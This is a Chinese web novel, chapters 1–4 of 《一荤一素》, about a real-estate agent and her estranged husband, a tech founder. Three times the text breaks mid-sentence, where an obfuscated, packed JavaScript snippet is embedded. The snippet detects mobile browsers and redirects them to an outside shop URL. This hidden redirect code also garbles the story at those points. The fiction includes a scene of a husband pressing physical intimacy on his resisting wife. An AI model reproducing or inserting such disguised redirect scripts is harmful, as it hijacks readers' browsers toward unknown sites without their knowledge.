《一荤一素》 1. 第 1 章 纽约飞芝加哥,霍嘉蔚调暗了舱灯,戴上眼罩,打算补一觉。 几声清脆的婴儿哭闹让她皱了皱眉,接着,一道温柔的女声响起:“宝宝第一次坐飞机,如果发出任何噪音,请大家谅解。我们准备了一些耳塞和糖果”,话音一落,她身旁的助理便起身发小礼品。 霍嘉蔚觉得声音熟悉,犹豫了两秒,摘下眼罩,转头,对上了冯一珂那张温柔又强势的面庞。 说她温柔,因她带了两个小宝宝,浑身被母性光辉笼罩。 说她强势,其实是霍嘉蔚的脑补,是基于以往印象的延伸。此刻的冯一珂,非但不强势,反而出人意料地友善。 她看了看怀里的孩子,又扫了霍嘉蔚一眼,露出笑容:“好久不见。” 霍嘉蔚怔住,无法把眼前温婉知性的宝妈,和印象中“杀伐果断、眼高于顶”的副总裁联系在一起。 诧异之余,她心里没有半分熟人相见的喜悦。如果可以,她宁愿从来没认识过这个人。 皮笑肉不笑地勾了勾嘴角,勉强算作回应,她戴上眼罩继续睡觉。 冯一珂挑了挑眉,没料到霍嘉蔚敢无视自己。 她把宝宝交给后座的保姆,扭头和临座的朋友聊天。 她们用中文小声交流,声音隔着一条过道,一字不落地飘进霍嘉蔚的耳朵里。 朋友开玩笑:“那谁身价翻了好几倍,照这个势头,咚咚茜茜长大了,能不能分遗产?” 冯一珂抬高了语调,看一眼在装睡的霍嘉蔚,不紧不慢道:“我的孩子,和他有什么关系?再说了,我会让他们缺钱花吗?什么身价、市值都是虚的,别说三十年,等三年后再看看,怎么着还不一定。” 别人说这种话或许是装腔作势,但冯一珂是谁?没人比她更有底气蔑视一切。 霍嘉蔚暗暗猜测孩子的父亲。 距离上次与冯一珂打交道,已是两年前。那时她还单身,一口气在霍嘉蔚手里买了两套大平层,说要上下连接做复式,原来早已有育儿打算…… 不对,霍嘉蔚想到什么,有了一个大胆的猜测。 飞机落地,出舱门时,她回头看了一眼冯一珂,见她身后零零散散跟着不少人。助理帮她拎包,保镖为助理开路,两个宝宝分别由两位保姆照看,后面还有小跟班在卸婴儿车。 阵仗这么大,干脆包机好了。 霍嘉蔚不由得一笑,想到刚才的猜测,笑容僵住。 她拎着挎包,走出廊桥,转念一想,就算是真的,似乎也不是坏事。 于是她停住脚步,在出口处等了几分钟,见冯一珂一行人慢悠悠走出,上前问:“冯女士,能看一眼你的小孩吗?” 冯一珂笑了,早料到她按耐不住,抬手示意保姆把孩子推过来:“才三个月,还没长开,你能看出什么?” 一男一女,居然是龙凤胎。霍嘉蔚无法从外貌判断性别,但衣服颜色说明了一切。她看了几秒,下意识夸了句可爱。 冯一珂让保姆带孩子走,自己留下和霍嘉蔚说话。 她温柔一笑,问:“你们结婚也挺久了,没考虑要小孩?” 霍嘉蔚愣了愣,跳过这个问题,看着保姆的背影问:“孩子父亲,不会是我老公吧”。 冯一珂脸上笑意更浓,有种捉弄人得逞后的快意,她盯着霍嘉蔚的脸看了几秒,道:“要不你回去问问?” 霍嘉蔚才不上当,她没心没肺地一笑,轻飘飘说了句“doesn''tmatter”。 驱车回到公寓,她在信箱里看到管雨婕寄来的婚礼请柬。 纯白的浅压纹卡纸,翻开有淡淡的花香,霍嘉蔚喜欢阅读手写信,更愿意分享好友的喜悦。然而,目光落在“inviteyouboth”一行,她唇边的笑意凝住。 原则上,她是要去的;情感上,她也想去,但最后,她还是决定不去。 她把请柬拍照发给谭召绪,一句话没有说。 一个小时后,他回了四个字:我会参加。 睡前把手机开了飞行模式,霍嘉蔚隔天才看到,他后面又回了个“你呢”。 心情被这两个字搅乱,她想了想,还是按耐不住,给赵培打电话:“培姐,你上次用的侦探公司靠不靠谱?” “挺专业的”,赵培猜到霍嘉蔚的意图,提醒:“被发现了会激化矛盾,不建议用。” 都是经验之谈,极端手段要留到最后。 等得够久了,好不容易有一个站得住脚的理由,能理直气壮地提离婚,为什么不用? 霍嘉蔚要来名片,当即就联系了对方。 年初,方尖碑收到了由风投公司Reevies领投的38亿美元融资,估值一度飙升至100亿,公司股价波动性上涨。 与此同时,创始人谭召绪亮相旧金山科技峰会,被问起这轮融资的意义,他避重就轻:“也许短期内,我太太不必担心我会失业了。” 话音落下,爽朗的笑声充满大厅。 峰汇资本的新掌门Saranda,开玩笑道:“我算见过很多founder了,Leo的谈吐非常特别,竟让我想不出一位相似的。” 谭召绪含笑,答非所问:“我太太每天只和我说三句话,‘早安,吃饭,晚安’,为了平衡家庭气氛,我不得不多说一点,这训练了我的思维和表达。我很感恩,不然两个人抢着说话,恐怕会吵架。” Saranda好奇:“你太太是全职主妇?” 他摇头,趁势夸道:“她是地产经纪人,工作能力非常优秀”。 在男女比例严重失衡的湾区,这话有点拉仇恨。 有人请教:“怎样才能娶到这样优秀的太太?” “在她还没毕业的时候,向她求婚”,他举重若轻,顿了顿,补充:“我可不会告诉你们,她是theGteam的联合创始人。” 当霍嘉蔚的领英又多了一批关注者,大量陌生人发来connection请求时,她就知道,谭召绪又在某些场合高调推介自己了。 她亲力亲为地一条条回复。编辑消息的同时,内心将谭召绪骂得体无完肤。 他绝对是故意的。 当初她初出茅庐,一年开不了几单,他打着尊重的名义,袖手旁观;现在不愁没生意了,他倒是乐意替她宣传了。 骂归骂,霍嘉蔚不会和客户过不去。她刚往赵培的美容诊所投了钱,兜里正干净,急需赚佣金回血。 如同硅谷娇妻自嘲“靠男人是种能力”,谭召绪也标榜自己是靠“太太”的人生赢家,因他三番两次在公开场合不经意提起这位“能力出众”的妻子,指路置业公司“theGteam”,间接给霍嘉蔚送来不少客户。 程策便是其中之一,他想购入一套密歇根湖畔的高层公寓,找了霍嘉蔚做代理。 原以为他会和创投圈其他客户一样,需求明确、现金流充裕、好说话,毕竟卖谭召绪的面子……是会轻松带来交易的客户,但他的表现有点醉翁之意不在酒。 霍嘉蔚筛了几套房源,约他来看房。 初次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477953|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面,程策自来熟他盯着霍嘉蔚看了几秒,闲聊道:“我还以为你只是挂个名。” “挂名?”霍嘉蔚笑了,稍微打听一下,就该知道她做这行很多年,可见这人虚伪。 程策继续笑:“你事业做的这么好,还能兼顾家庭,真不知道Leo哪里修来的福气。” 她警觉地问:“你们是朋友?” “校友”,程策点到为止,把视线重新落到房子上。 林肯公园核心地段的penthouse,三面落地窗,湖景视野无遮挡。全屋安保,有专属停车位,私人电梯入户。另外,建筑年份新,升值空间巨大……方方面面都契合程策的需求,霍嘉蔚觉得他没有不下offer的道理。 果然,考虑两天,程策给出了报价,请霍嘉蔚推进谈价。 然而,在霍嘉蔚争取了整整两轮议价、将价格压到房东心理预期的底线时,程策却改了主意。 “我想再考虑一下。” 霍嘉蔚不解:“房源已经锁了两天,再犹豫,房东可能会接受其他报价。” 他顿了一下,道:“那很遗憾。” 霍嘉蔚直接问道:“是预算问题,还是你有别的意向?” 他回得模棱两可:“我还在考虑,先不急着做决定。” 霍嘉蔚沉默了两秒,笑容凌冽:“程先生,如果你只是停留在感兴趣阶段,是不用急着出价的……” “我很有意向”,程策打断,补充:“只是再等两天,好吗?” 霍嘉蔚不懂他在犹豫什么,但也就是这两天的窗口期,房源被另一位客户抢走了。 成交价是她替程策谈下来的数字。 讽刺的是,买方代理人是霍嘉蔚的老东家HorizonElite的Bryant。当初她和Yolanda从HorizonElite离职,一度被他打压到半年赚不到一个子。 努力付之流水也就罢了,还让Bryant占到便宜,霍嘉蔚心有不甘。 她正郁闷得睡不着,私家侦探chen打来电话。 铃声格外刺耳,把趴在地毯上的莱恩惊醒。它摇着尾巴走到床边,霍嘉蔚摸摸它的脑袋,说了句“乖”,它便安静地趴在她的拖鞋旁,不再出声。 霍嘉蔚按下接听键,心莫名提到嗓子眼,期待从chen这里听到消息,又害怕自己承受不住真相带来的兵荒马乱。 电话那头一时没有声音。 霍嘉蔚说完“hello”,突然有种不好的预感。 “想知道什么,直接问我不好吗?” 他的声线浑厚饱满,语调却从容自得,像雪后初融的山泉,清冽中裹着一丝寒意。 霍嘉蔚定了定神,问:“程策是谁?” 谭召绪思考两秒,只道:“谷鑫淼的前男友。” 知道他最擅兜圈子,她索性挑明,有意夸大其词:“这人很讨厌,让我鞍前马后白白忙活了大半个月,拖到最后,被别人捡了便宜。” 谭召绪坐在车内,低头翻着iPad里的资料。屏幕的冷光映在他脸上,眉峰微微蹙起,像在专注听她说话,又似乎完全没往心里去。 趁他沉默的间隙,霍嘉蔚面不改色心不跳,先发制人道:“你是不是得罪过他,找我报复来了?我早说过别太高调。有人看你的面子来找我买房,自然有人看不惯你来找我的茬。 “以后不要提我。” 那头忽然传来一声轻笑。 低低的,带着点无奈:“你要查的事,我还真不知道。” 2. 第 2 章 管雨婕的婚礼定在本月六号。婚礼前,姐妹团给她策划了一场惊喜派对,告别单身。 霍嘉蔚本不想凑热闹。那天日子很特殊,她整个人沉浸在低沉的情绪里,做什么都没心情。管雨婕闺蜜一连给她打了三个电话,说“意义重大,务必到场”。她想着或许能转移注意力,就来了。 到了才知道,她们想把新娘各个阶段的朋友都凑齐,管雨婕毕业后和陈溢四处旅居,这一时期的朋友,能联系到的只有霍嘉蔚。 现场倒是热闹。整间度假屋被包了下来,气球和串灯堆得满屋都是,粉色亮片反着光,墙上贴着夸张的“BRIDETOBE”字样。 从白天闹到晚上,香槟一瓶接一瓶开,舞一轮接一轮蹦,霍嘉蔚很自然地融入其中,用酒精一点点浇灭心里的杂音。 猛男秀是高潮,灯光一暗,人群瞬间起哄,她也跟着欣赏起来,还掏出手机拍了条story传到IG。 嗨到顶峰,累到极致,她没有多余的精力再去想其它,告别前,管雨婕抱住她,再次发出邀请:“舅舅去尼泊尔了,不会来参加我的婚礼。学姐,你一定要来。” 谭辉去尼泊尔做什么,度假旅行,净化心灵?霍嘉蔚忽然生一个恶毒的念头,但仅用一秒,她就将那想法按灭,心不在焉道:“好,我尽量到场”。 从派对回到公寓,霍嘉蔚来不及卸妆换衣服,整个人往沙发一倒,喊了两声“莱恩”。 平时她一回来,莱恩总会叼着拖鞋跟在她身后打转,今天却没动静。 喝了酒,大脑发沉,皮肤也起了轻微的红疹,顾不上找莱恩,她阖目缓了一会儿,正要入睡,突然亮起的灯光将她唤醒。 入户门打开,莱恩摇着尾巴进来,刚要往里跑,被门外的人拽住牵引绳。 霍嘉蔚皱了下眉,缓缓打开眼睛。 玄关处,谭召绪半蹲着,把莱恩的一只爪子放在手里,替它擦干净。 她面色微微凝滞,不欢迎地问:“你怎么来了?” 谭召绪看了她一眼,没有说话。将莱恩擦干净,解开牵引绳,说了句“goodboy”,莱恩这才收到指令似的,匆匆抬头看了他一眼,吐着舌头,迫不及待地跑到落地窗边找水碗。 霍嘉蔚嫌客厅太亮,刺眼,起身回卧室。刚走两步,脚下一软,又跌坐回去。 恍惚间,她看着谭召绪挺括的背影,后颈线条利落,发际线修剪得很整齐,唯独顶的黑发略有些凌乱,严肃正派中透着一股随意。 邋遢。 她在心里评了一句,移开视线。 谭召绪洗了手,擦干出来时,霍嘉蔚再次睡了过去。 他上前将人抱起来,放到卧室床上,替她褪去外衣,手指落到腰间的纽扣,霍嘉蔚醒了。 她坐起身,眼神有一瞬的空洞迷茫,看清眼前的男人,神情快速冷下来,带着一丝审视与防备。 他不受这冷漠影响,继续替她脱衣服,看到大腿上那一大片细密的红疹,皱了眉,问:“吃药了吗?” 霍嘉蔚并不承情,直接掀开被子,侧身躺了进去。 头一沾床,她便想起了今天是什么日子,想起他为什么出现在这里。一阵迟来的、如刀割般的钝痛开始折磨她,闭上眼,泪水无声地渗进枕头。 谭召绪倒了杯温水,放在床边柜子上,再次问道:“需要过敏药吗?” 他不开口还好,一开口,勾起她更多回忆。痛苦、尴尬、遗憾、懊悔……一股脑涌上来,像虱子一样细细密密啃噬她的心房。 “不用”,她挤出两个字。 不同于在人前从容优渥的健谈,私底下谭召绪话不多,当然,有再多的分享欲,在冷漠寡言、视他为外人的妻子面前,也失去了表达的兴趣。 他坐在床边,看她柔顺的黑发散在被套上,久违的温馨画面,他心里微微一动,伸手勾起一缕发丝,在指间慢慢摩挲。 察觉到他没打算走,霍嘉蔚忍住情绪,提醒:“帮我关灯可以吗?” 她只想平平静静地哭一会儿,入睡,把这一天熬过去。 他没动,拨开她耳边的发丝,捏了捏她耳垂。力道不轻不重,是恋人间习惯性的亲昵。 他觉得恰到好处,霍嘉蔚却觉得烦厌,她吸着鼻子问:“够了吗?” 声音里掩盖不住的哭腔,让他眼神一冽。 他伸手扣住她的肩,正要把人翻过来。 霍嘉蔚只好用力地抓紧被子,把脸死死埋进枕头里,继续用后脑对着他。 又哭了。 是不是每年这一天,她都要为那个人哭丧。 他有点倦了。 替她将被子拉好,谭召绪起身关了卧室主灯,进浴室洗澡。 经济优渥的独居女性,享受着资源溢出的生活。消费欲望被不断放大,精神世界里的那点空虚,被商场不断推陈出新的消费品填满。 她有一整面墙的包包,不同场合的穿搭,穿过一次就收起来的鞋子,没拆封的首饰、联名的彩妆礼盒……偌大的衣帽间,唯独容纳不下一套男士睡衣。 谭召绪找了半天,才在储物间的纸箱里——即将要拿去捐掉的旧衣物中,看到了自己的家居服。 衣服皱得厉害,他扯了两下,褶痕扩大得更明显。他忽然没了耐心,把衣服扔了回去。 回到卧室,那杯温水已经凉透,他将杯子带走,去厨房把水倒掉。 水声哗地响起。 空旷的顶层公寓,被这点声音短暂地填满。 他仰头看了下天花板,停在那里,半天没动。 霍嘉蔚睡不着,如果谭召绪不出现,她或许可以借助酒精早早入眠,此刻,心情被沉闷苦涩的基调占据,她没办法化解,只能把这一切,还到他身上。 等谭召绪回到卧室,掀开被子,躺进去。从身后抱住她的时候,霍嘉蔚开口:“离婚吧。” 他没松手,很平常地问了句:“为什么”。 好奇这回她能说出什么理由。 她没急着回答,泪痕未干的脸上,浮出一点讽意:“如果什么都像你三言两语对外说得那样简单就好了”,接着又说:“我受够了。” 谭召绪用胳膊肘撑住身体,抬手越过,把她的脸扳正。 下一秒,不顾她的反应,低头吻了下去。 霍嘉蔚抿着唇,无奈地闭了下眼,心想,他只会来这套。 酝酿了几秒情绪,她奋力推开他,眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477954|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还湿着,眼神却冷了下来,带着一点压不住的恨意,威胁道:“易闵闵在找谭辉,如果我告诉他,也许不出多久,你会接到交警通知家属的电话了。” 他低头看她。 两颊被酒精烧得酡红,睫毛黏在一起,眼睛里有淡淡的红血丝,他用指尖擦掉那点湿意,问:“最近睡得不好?” 霍嘉蔚讨厌他惺惺作态的关心,别开脸,扬起下巴道:“你更应该担心谭辉的死活。” 他“嗯”了一声,气息落在她耳侧,随即低头,在她耳垂飞快吻了一下:“我担心我的,你处理你的。” 话音刚落,他又贴近了一些,温热的呼吸顺着她的颈侧往下,霍嘉蔚扭头躲开,抬手抵在胸前。 他愣了一秒,很有耐心抓住她的手,压回枕侧。 她皱眉,反手去推他,那点力道落在他身上,起不到什么作用。 他继续靠近,将覆在她身上的被子掀走,欺身压了过来。 唇瓣贴上的那一刻,她猛地偏开脸,下一秒,被扳回来,重新对上他的视线。 “杀人犯”,她冷眼看他,将他的身份拉至无限低。 他眉心一动,看着她的眼睛,泪水一点点渗出,心跟着一点点揪紧,他说“是”,随即吻了下来。 唇舌得寸进尺地探入,将她的呼吸一点点夺走。几近溺亡的边缘,唇瓣终于分离,霍嘉蔚猛地呼吸了两口,道:“我要离婚。” “好”。 突如其来的松口,让霍嘉蔚如一拳打在棉花上,心里酝酿的那些话再也用不上了。她本该高兴的,可心情却像泄了气的皮球,无端变得皱巴巴起来。 ………… 等霍嘉蔚意识到离婚不过是托词,是为了哄她配合的伎俩,她毫不手软地给易闵闵发了消息,告诉他谈笑风生是谭辉——她丈夫的父亲。 易闵闵在医院疗养了整整一年,腿伤早已恢复好,但一直没有求生的意志,终日靠轮椅出行。得知真相的时候,他激动得从轮椅上站了起来,重新下地行走。 作为信息交换的条件,霍嘉蔚让他行动前知会自己一声。她想,谭召绪总不至于眼睁睁看着谭辉出事,也许,她可以靠这个拿捏他。 周一早上,谭召绪准时出现在圣克拉拉的办公室。 一路上,所有能和他搭话的人,都会问上一句:“纪念日过得怎么样?” “鲜花、红酒、finedining,一切都很棒”,他随口应付,推开会议室的门,刚落座,便收到了前台电话,称有人送来文件,请他亲自过去接收。 猜是霍嘉蔚托人送来的离婚文件,他谨慎地选择不出面。 能拖多久是多久,至少他还能合情合理乃至合法地炫耀妻子、给她多送点客户。 又是这幅“不拒绝、不抵抗、不配合”的姿态,霍嘉蔚接到律师电话,气得连饭都不想吃。她给谭召绪发消息:“这次我不会不了了之。” 谭召绪看着那行字,舒展俊朗的眉目忽地深邃起来,他回道:“和我离婚,对你有什么好处?” 霍嘉蔚答:“和你在一起,对我有很多坏处。” 他故作无知地问:“比如?” “没办法要混血宝宝。” 3. 第 3 章 都会艺术中心一年一度的新锐群展,霍嘉蔚的作品《UrbanFlows》被布置在大厅右侧的展墙。 旁边挨着一扇巨大的落地窗,随着日光变换,光线折射在画布的金属框上,给作品添了几分动感。 几米外,谭召绪目光专注地落在画幅底部的建筑上,若有所思。 谭郁梵语气骄傲:“这是我学生的作品,画中的城市以她的家乡为原型”。 “宁川。” 她惊讶,感叹道:“二十年了,你还有印象”。 另一侧,霍嘉蔚自信站在画作前,逐个询问朋友们的感受:“怎么样?” 听到“好看”“真棒”之类的评价,她不满足,追问:“缥缈的云雾配上带年代感的城市街景,你们想到了什么?” 朋友们说了几个答案,都不对。 “风水啊!咱们的传统文化”,她提示。 有人立刻摇头:“原谅我不懂艺术,这和风水有什么关系?” 她兴致勃勃地解释起了创作理念,可惜朋友们除了随口附和几句好听的,并没有人愿意在画前认真看上几秒。 话还没说完,就被人喊去拍照。 为了呼应作品,霍嘉蔚今天特意穿了一身汉服——浅赤色织锦襦裙,腰间束着青黛色丝带,裙摆随步子微微荡开,在展厅明亮的灯光下显得格外显眼。 谭召绪被这阵喧闹吸引,不自觉朝那抹赤色身影多看了几眼。 作品首次登上城市级艺术展的舞台,霍嘉蔚邀了好多朋友来观展。 不断有人找她聊天合影,把她捧得高高的。人群拥簇中,霍嘉蔚对自己的定位产生了一丝错觉——仿佛她是天生为艺术而生、蛰伏良久终于等到曝光机会的青年艺术家。 当画家的感觉真好!她心情飘飘然,坚定了在创作这条路上越走越远的想法。 待人群散去,霍嘉蔚正要歇口气,同校的熟人籍又夏冒出来,找她拍合影。 霍嘉蔚提着裙子凑到镜头前,露出灿烂的笑脸。 籍又夏五官底子很好,脸部所有线条都给人一种尖尖的,向上飘的感觉,不柔,却很媚。她是时尚快消品的头号买手,穿搭走在时尚前沿,浑身每个细节都在散发着“我是美女”的信号。 不加美颜滤镜的手机屏幕里,籍又夏脸型精致立体,鼻梁挺翘,饱满的唇形带点微笑的弧度,美得很有辨识度。旁边的霍嘉蔚则因妆容偏中式,五官线条流畅,反而被衬得有些淳朴。 乍一看,两人像不在一个图层里。 霍嘉蔚的头饰繁重,歪头靠向籍又夏时,轻轻蹭到了她耳朵。籍又夏下意识往后一躲,用手护住鼻子。 霍嘉蔚见状,盯着她的鼻子瞧了瞧,果然翘挺得不像话。 “怎么了?” 籍又夏嘴上说着没事,却盯着镜头仔细检查鼻子。 她最讨厌被人说是整容脸。 比起真正的科技脸,籍又夏动过的痕迹并不明显。只是她太有美女包袱了,身高接近170,体重恐怕不到90斤,皮肤白皙透亮,出门总是全套妆造。 霍嘉蔚觉得她的脸很上镜,如果非要挑刺的话,则是大眼睛、翘鼻夺走了全部的亮点,比例微微失衡。上镜刚刚好,但现实中过于惊艳,有点夸张了。 自知上镜比不过她,霍嘉蔚便在一旁托腮,卖萌搞怪,心想,上镜比漂亮比不过你,那就比可爱。 籍又夏配合着霍嘉蔚卖萌,嘟起嘴,发现唇形不够饱满,考虑下次该去打玻尿酸了。 余光瞥见文乾玥朝这边走来,她快速拍完几张,便和霍嘉蔚告别:“嘉蔚,恭喜作品展出,我有事先回了”。 “感谢捧场,晚上有party你来不来玩?”她顺嘴问了一句。 见文乾玥越来越近,籍又夏用刚做的延长法式美甲,咚的一声敲亮手机屏幕,看了眼日期,长翘睫毛往上一掀,思考了两秒,抬高声音:“我有个约会,就不去了”。 “那回见,拜~” 文乾玥眉头皱成一团,站在不远处,招了招手,示意霍嘉蔚过来。 等人一走进,她立刻语气不屑道:“亲爱的,她怎么来了,以后有活动不要喊她,和这种人一起玩有点掉价。” 霍嘉蔚不明所以:“怎么了?这回又是按什么标准分的鄙视链?” 文乾玥神秘兮兮的,眼里藏着几分鄙夷:“认识这么久,你知道她家里是做什么吗?” 霍嘉蔚摇头。 “那就对了”,文乾玥想八卦点什么,见周围人多,只说了句:“少和这种来路不明的人打交道。” 话音未落,她跳脱地换了话题,上下打量霍嘉蔚的穿搭,夸赞:“这高腰长裙真好看,太适合你了,哪买的?” 霍嘉蔚毫无负担地接受朋友的赞美,炫耀道:“找人定制的,专门为首展准备的样式”,说得高兴之际,又被文乾玥打断:“你男朋友怎么没来?” 她也纳闷,看了眼时间:“按理说该到了。” 她四处看了看,试图在人群中寻找男友的身影。 “Vivian”,策展团队的工作人员康妮不知从哪冒出来,喜笑颜开:“你的作品被人预定了。” 霍嘉蔚瞪大眼睛,神情复杂:“没开玩笑吧,怎么会有人买我的画。” 她说这话并非谦虚,相反,她对自己的作品非常满意。正因为太喜欢,才舍不得卖——这画原本打算送给男友徐继唯。 “这么棒的作品,没有人买才奇怪呢”,文乾玥在一旁捧场,语气略有些夸张。 康妮补充:“买家已经交了定金,还顺便给艺术中心捐了笔款。听说,这是今年群展里出价最高的一笔,恭喜你哦。” 霍嘉蔚愣住,可不么,为了避免被买下,她故意定了个很离谱的价格。 “买家是谁?” “一位男士,留了联系方式。你想见他吗?” “他还在现场?” “我去问问”,康妮热心替她去联络。能花五万美金买一幅初出茅庐的本科生作品,一定非富即贵。谁不想亲眼看看对方的风采呢? “谢了”,霍嘉蔚掏出手机给男友徐继唯发消息。 谭召绪看了眼手表:“姑姑,时间不早,我还有事先回了”。 “今天多谢你能来,我还要忙,就不送你了”,谭郁梵正说着,接到康妮的电话,她听完,看了眼谭召绪,笑道:“再耽误你五分钟,一起见个人”。 谭郁梵和谭召绪走近时,霍嘉蔚正和文乾玥闲聊。 “嘉蔚”,谭郁梵喊她。 “谭老师,我刚才还找您呢”,霍嘉蔚语气兴奋,全然没注意到其他人:“这次多谢您推荐,让我的画有公开展出的机会。刚才康妮告诉我,作品被预定了,想不到,还有如此大方又有眼光的买家。” 说到最后一句,她不自觉抬高了语调,很是激动。 “我早就说过,你有天赋,要是再勤奋点就更好了”,谭郁梵笑道。 艺术学院的学生,大多家世优渥,出身不凡,个性张扬得不受约束。她接触过那么多届学生,或许有才气,却常浮在表面。要么急功近利,讲风格多于技巧,要么另辟蹊径,爱自创理念为作品披上一层神秘外衣,却很少能拿得出一两件像样的作品来。 霍嘉蔚算是个例外,她基础打得很扎实,有自己的创作坚持。虽少了点勤奋,却能沉下心来推敲每一笔每一色,日常作业常见厚重感。 谭郁梵喜欢这种纯粹踏实的学生。 “您教育得对,我得增加产量”,她边说边做了个撒娇的表情,心中的喜悦溢于言表,说完才注意到旁边还有一位男士。 对方脸上挂着淡笑,视线和她对上时,霍嘉蔚恍惚觉得他眼里有一种熟悉感,让人感到温暖和信任。 谭郁梵顺势介绍:“这是预订你作品的买家。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477955|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 霍嘉蔚又看了那人一眼,他神色并不拒人千里之外,带着几分克制的欣赏与专注。 心口瞬间一紧,艺术家的架子让她变得礼貌而矜持,松弛的笑意收了几分,朝对方点了点头。 旁边的文乾玥却两眼放光,抓住霍嘉蔚的胳膊,悄悄捏了一下。 “Leo。很高兴认识你”,谭召绪主动报出名字,和她握手。 “霍嘉蔚”,她报上中文全名。 这人的五官轮廓偏硬朗,气质却并不锋利,浑身透着一股从容松弛的随意感,穿搭虽简单,但配色和谐,举手投足间给人一股低调有涵养的距离感。 文乾玥的视线在他身上停留了许久,直到霍嘉蔚举着手机,让她帮忙拍照才回过神来。 霍嘉蔚自觉地站到谭郁梵旁边。 “Leo你过来,我们一起”,谭郁梵边说边让出C位,让霍嘉蔚站在中间。这让霍嘉蔚受宠若惊,两人谦让了一番。谭召绪对这套人情世故不熟,却很配合地站到她身后。 快门按下的瞬间,霍嘉蔚感受到腰间一股拉扯的力量,低头一看,裙摆被人踩了一脚。 “抱歉”,谭召绪俯身,将她脚下的裙摆理好。 陌生男人低沉醇厚的嗓音传来,混合着一股成熟清冽的气息,那一下靠得太近,霍嘉蔚肢体下意识一顿,心里莫名泛起一阵小小的羞意。 耳边的热气很快散去。 谭郁梵顺口问道:“裙子很漂亮,是自己做的吗?” “我希望是,可是我没这个本领”,霍嘉蔚耸肩。 和他们告别,文乾玥把霍嘉蔚拉到一旁,悄悄问:“怎么才能谈到这种成熟儒雅的型男?” 她回头看了一眼,漫不经心道:“这还不简单,你找谭老师去。” “你说他和谭老师什么关系?不会是她儿子吧。” “谭老师就一个女儿,还上高中。也许是谭老师的学生?” 霍嘉蔚觉得他看起来气质不俗,能有闲心逛艺术展,还出手阔绰,恐怕是前几届的学长。 文乾玥点头:“叫什么来着?LeoTan,我要摸摸他的底细”。 说着,她拿出手机,在搜索框里敲下几个字母。刚输入“Tan”,便自动联想出一串词条。她顺手点进去,页面随即显示出谭召绪近期路演、参加行业大会、慈善活动等新闻通稿,资讯密密麻麻,一眼望不到头。 “Obelisk方尖碑科技:独角兽芯片公司的创始人。” 文乾玥翻着一长串的介绍,越扒越有内容:“wiki上说,他小时候因父亲出国工作移民美国,本科拿到斯坦福的全额奖学金,大二就开始选修博士课程,参与实验室课题……” 霍嘉蔚想起那张温润儒雅的脸,不像经历坎坷的样子,打断:“百科挖得这么细?有水分吧”。 “谁知道呢”,文乾玥饶有兴致地往下看:“毕业去了谷歌,后来自己创业。公司刚上市,就入选了胡润全球独角兽榜单。” “难怪,这么有钱,五万美金对他来说也就是洒洒水啦”,霍嘉蔚想,他买自己的画,大概像她买口红一样简单,被赏识的喜悦忽然没那么强烈了。 文乾玥点开“慈善事迹”的目录,忍不住感叹:“创业不都是烧钱,他这么快就赚到钱了?” 霍嘉蔚好奇瞥了一眼。 诸如,妇女节在慈善晚宴捐款,用于资助乳腺癌疾病的筛查与科研;设立专项基金支持儿童教育,帮助亚洲贫困地区儿童获得教育机会…… “蛮有爱心的,但肯定有作秀的成分”,她不痛不痒地点评,纳闷,难道他买下自己的画也是出于爱心?可自己又不缺钱,把它用到更需要的地方岂不是更好。 这时手机响了。 霍嘉蔚接通,电话那头语气急促,提到“车祸”“医院”等字眼。 电话还未挂断,她便拉着文乾玥往停车场走:“快去医院”。 4. 第 4 章 焦彦甫倒了两杯波旁,推到对面一杯:“程策那篇帖子你看了吗?” 谭召绪靠坐在沙发上,看着窗外的夜景,语气轻松:“文笔不错”。 焦彦甫抿了口酒,轻叹:“何必闹成这样”。 谭召绪一时没作声,片刻后,他忽然开口,语气一改往日的恭让谦和:“一艘船可以有很多水手,但掌舵者只有一个。” 焦彦甫轻笑,却不得不点头:“我想知道,你是怎么说动谷鑫淼的?” 谭召绪瞥了他一眼,道:“用我说吗?” 焦彦甫笑了:“联合外人把男友踢出局,她能有这觉悟也是稀奇”。 “她要是干律师,也能把你饭碗抢了”。 焦彦甫说了一句“少来”,笑容逐渐收敛,正色道:“程策拿钱走的时候,签了厚厚一摞协议。他发帖这事已经踩线了,要不要按流程来?” “当然”。 焦彦甫略愣:“一点情分都不讲?” “什么情分?”谭召绪态度冷硬,带着不容置疑的强势。 焦彦甫沉默了一瞬,抿酒,换了话题:“听说你收了幅画?可以啊,身价上涨后第一笔个人开销就拿去扶贫艺术圈,大慈善家。” 谭召绪没接话,随口问道:“怎么样,转行还适应吗?” “一切都好”。 焦彦甫原本在律所做并购方向,被谭召绪挖来做公司法务,已经三个月了。 谭召绪盯着他看了几秒,正色道:“我不支持办公室恋情”。 